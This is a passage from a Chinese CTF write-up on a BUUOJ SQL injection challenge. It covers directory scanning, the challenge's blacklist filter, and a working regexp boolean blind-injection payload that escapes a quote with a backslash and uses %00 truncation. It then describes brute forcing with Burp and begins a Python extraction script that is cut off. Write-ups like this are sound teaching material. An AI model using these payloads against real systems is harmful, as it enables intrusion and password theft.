知识点
1 %00截断代替#和–
2 regexp bool盲注
0x01 解题过程
一 使用dirmap扫描
1.扫描
python3 dirmap.py -i http://38457678-39d0-4069-9193-7b082a65e751.node5.buuoj.cn:81/ -lcf
注:如果扫描不出来,可以修改dirmap目录下的dirmap.conf。将conf.request_limit 选项修改为1
2. 访问 扫描出来的 robots.txt得到hint.txt,再次访问hint.txt
http://38457678-39d0-4069-9193-7b082a65e751.node5.buuoj.cn:81/robots.txt
得到提示,过滤了一堆东西$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
但是我们只需要爆出密码就行
二 注入
1 payload分析
已知column名并且注入点在where子句中,要求得到密码
这里可以采用regexp进行bool盲注。
payload:
username=\&passwd=||passwd/**/regexp/**/"^a";%00
- 通过
\
转义username后第二个单引号进而闭合掉passwd后第一个引号 - 通过%00截断 代替# –
- regexp “^a” 表示 查找passwd列中以a为起始的
2 burp爆破
得到true的返回情况,这里用welcom.php为关键字
3 脚本爆破
import requests
from urllib.parse import unquote
import string
def regexpIng():
result =